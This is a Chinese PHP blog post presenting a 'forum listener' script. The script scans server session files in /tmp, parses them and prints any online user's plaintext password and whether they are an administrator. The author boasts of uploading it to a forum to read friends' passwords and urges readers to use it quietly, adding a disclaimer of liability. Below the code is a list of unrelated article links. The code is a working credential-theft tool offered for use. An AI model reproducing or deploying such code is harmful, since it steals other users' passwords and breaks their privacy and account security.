php查看session内容的函数


Posted in PHP onAugust 27, 2008

如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'>请再来一次</a>,不要多打空格!";
$d->close();
}

function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">当你看到一用户在线时你想看他的密码,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">让我来告诉你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。</font>
<br>不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="<?print $PHP_SELF ?>" >
<p>请输入你要查的用户名:<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,开始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>

PHP 相关文章推荐
一个程序下载的管理程序(三)
Oct 09 PHP
php zip文件解压类代码
Dec 02 PHP
php下删除一篇文章生成的多个静态页面
Aug 08 PHP
php从右向左/从左向右截取字符串的实现方法
Nov 28 PHP
基于php 随机数的深入理解
Jun 05 PHP
PHP SPL使用方法和他的威力
Nov 12 PHP
php将url地址转化为完整的a标签链接代码(php为url地址添加a标签)
Jan 17 PHP
php基于表单密码验证与HTTP验证用法实例
Jan 06 PHP
PHP简单选择排序算法实例
Jan 26 PHP
php实现session自定义会话处理器的方法
Jan 27 PHP
php删除指定目录的方法
Apr 03 PHP
thinkPHP+LayUI 流加载实现功能
Sep 27 PHP
php 缓存函数代码
Aug 27 #PHP
php 中文处理函数集合
Aug 27 #PHP
常用的php对象类型判断
Aug 27 #PHP
phpMyAdmin2.11.6安装配置方法
Aug 24 #PHP
PHP6 先修班 JSON实例代码
Aug 23 #PHP
php的curl实现get和post的代码
Aug 23 #PHP
PHP Smarty生成EXCEL文档的代码
Aug 23 #PHP
You might like
PHP下打开URL地址的几种方法小结
2010/05/16 PHP
php获取mysql字段名称和其它信息的例子
2014/04/14 PHP
ThinkPHP3.1新特性之G方法的使用
2014/06/19 PHP
详解PHP版本兼容之openssl调用参数
2018/07/25 PHP
jquery parent和parents的区别分析
2013/10/02 Javascript
JS关闭窗口或JS关闭页面的几种代码分享
2013/10/25 Javascript
JS实现遮罩层效果的简单实例
2013/11/12 Javascript
js+jquery常用知识点汇总
2015/03/03 Javascript
jquery中表单 多选框的一种巧妙写法
2015/09/06 Javascript
jQuery焦点图插件SaySlide
2015/12/21 Javascript
jQuery实现底部浮动窗口效果
2016/09/07 Javascript
微信js-sdk预览图片接口及从拍照或手机相册中选图接口用法示例
2016/10/13 Javascript
AngularJS使用带属性值的ng-app指令实现自定义模块自动加载的方法
2017/01/04 Javascript
JavaScript数组特性与实践应用深入详解
2018/12/30 Javascript
Vue打包部署到Nginx时,css样式不生效的解决方式
2020/08/03 Javascript
vue.js页面加载执行created,mounted的先后顺序说明
2020/11/07 Javascript
Python实时获取cmd的输出
2015/12/13 Python
Python编程之字符串模板(Template)用法实例分析
2017/07/22 Python
python实现xlsx文件分析详解
2018/01/02 Python
Python+OpenCV让电脑帮你玩微信跳一跳
2018/01/04 Python
python pandas库的安装和创建
2019/01/10 Python
python SVM 线性分类模型的实现
2019/07/19 Python
Python实现一个数组除以一个数的例子
2019/07/20 Python
python交互模式基础知识点学习
2020/06/18 Python
ffmpeg+Python实现B站MP4格式音频与视频的合并示例代码
2020/10/21 Python
Sephora丝芙兰澳洲官方网站:国际知名化妆品购物
2016/10/27 全球购物
CheapTickets泰国:廉价航班,查看促销价格并预订机票
2019/12/28 全球购物
戴尔新加坡官网:Dell Singapore
2020/12/13 全球购物
营业用房租赁协议书
2014/11/26 职场文书
2015年人力资源工作总结
2015/04/08 职场文书
小学教学工作总结2015
2015/05/13 职场文书
2015年治庸问责工作总结
2015/07/27 职场文书
2019年销售人员的职业生涯规划书
2019/03/25 职场文书
nginx 防盗链防爬虫配置详解
2021/03/31 Servers
MySQL REVOKE实现删除用户权限
2021/06/18 MySQL
pandas进行数据输入和输出的方法详解
2022/03/23 Python